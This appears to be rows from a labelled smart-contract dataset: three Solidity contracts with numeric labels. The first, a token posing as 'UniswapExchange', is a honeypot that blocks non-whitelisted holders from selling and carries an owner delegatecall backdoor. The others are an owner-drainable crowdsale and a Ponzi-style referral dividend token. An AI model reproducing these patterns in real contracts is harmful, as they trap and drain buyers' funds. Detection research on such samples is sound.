require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,241 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenDestructible is Ownable {
function TokenDestructible() payable { }
function destroy(address[] tokens) onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
ERC20Basic token = ERC20Basic(tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract CONTSKT is StandardToken, Ownable, TokenDestructible {
string public name = "CONTSKT";
uint8 public decimals = 8;
string public symbol = "CTK";
string public version = "0.2";
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CONTSKCrowdsale is Ownable, Pausable, TokenDestructible {
using SafeMath for uint256;
CONTSKT public token;
uint256 constant public START = 1506173289;
uint256 constant public END = 1539097200;
address public wallet =0x71b658EDC685fB2D7fc06E4753156CEE6aBE44A1;
uint256 public etherRaised;
function CONTSKCrowdsale() payable {
token = new CONTSKT();
}
function getRate() constant returns (uint8) {
if (block.timestamp > START) return 65;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused() payable {
require(beneficiary != 0x0);
require(msg.value != 0);
require(block.timestamp <= END);
uint256 etherAmount = msg.value;
etherRaised = etherRaised.add(etherAmount);
uint256 tokens = etherAmount.mul(getRate()).div(10000000000);
token.mint(beneficiary, tokens);
wallet.transfer(msg.value);
}
} | 0 | 1,599 |
pragma solidity ^0.4.25;
contract SmartWagerToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event onRefferalUse(
address indexed refferer,
uint8 indexed level,
uint256 ethereumCollected,
address indexed customerAddress,
uint256 timestamp
);
string public name = "Smart Wager Token";
string public symbol = "SMT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 15;
uint8 constant internal exitFee_ = 8;
uint8 constant internal maxRefferalFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
mapping(address => address) public stickyRef;
function buy(address _referredBy) public payable {
purchaseInternal(msg.value, _referredBy);
}
function() payable public {
purchaseInternal(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseInternal(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256) {
uint256 purchaseEthereum = _incomingEthereum;
uint256 excess;
if(purchaseEthereum > 2 ether) {
if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 100 ether) {
purchaseEthereum = 2 ether;
excess = SafeMath.sub(_incomingEthereum, purchaseEthereum);
}
}
if (excess > 0) {
msg.sender.transfer(excess);
}
purchaseTokens(purchaseEthereum, _referredBy);
}
function handleRefferals(address _referredBy, uint _referralBonus, uint _undividedDividends) internal returns (uint){
uint _dividends = _undividedDividends;
address _level1Referrer = stickyRef[msg.sender];
if (_level1Referrer == address(0x0)){
_level1Referrer = _referredBy;
}
if(
_level1Referrer != 0x0000000000000000000000000000000000000000 &&
_level1Referrer != msg.sender &&
tokenBalanceLedger_[_level1Referrer] >= stakingRequirement
){
if (stickyRef[msg.sender] == address(0x0)){
stickyRef[msg.sender] = _level1Referrer;
}
uint256 ethereumCollected = _referralBonus/2;
referralBalance_[_level1Referrer] = SafeMath.add(referralBalance_[_level1Referrer], ethereumCollected);
_dividends = SafeMath.sub(_dividends, ethereumCollected);
emit onRefferalUse(_level1Referrer, 1, ethereumCollected, msg.sender, now);
address _level2Referrer = stickyRef[_level1Referrer];
if (_level2Referrer != address(0x0) && tokenBalanceLedger_[_level2Referrer] >= stakingRequirement){
ethereumCollected = (_referralBonus*3)/10;
referralBalance_[_level2Referrer] = SafeMath.add(referralBalance_[_level2Referrer], ethereumCollected);
_dividends = SafeMath.sub(_dividends, ethereumCollected);
emit onRefferalUse(_level2Referrer, 2, ethereumCollected, _level1Referrer, now);
address _level3Referrer = stickyRef[_level2Referrer];
if (_level3Referrer != address(0x0) && tokenBalanceLedger_[_level3Referrer] >= stakingRequirement){
ethereumCollected = (_referralBonus*2)/10;
referralBalance_[_level3Referrer] = SafeMath.add(referralBalance_[_level3Referrer], ethereumCollected);
_dividends = SafeMath.sub(_dividends, ethereumCollected);
emit onRefferalUse(_level3Referrer, 3, ethereumCollected, _level2Referrer, now);
}
}
}
return _dividends;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_incomingEthereum, maxRefferalFee_), 100);
uint256 _dividends = handleRefferals(_referredBy, _referralBonus, _undividedDividends);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,547 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.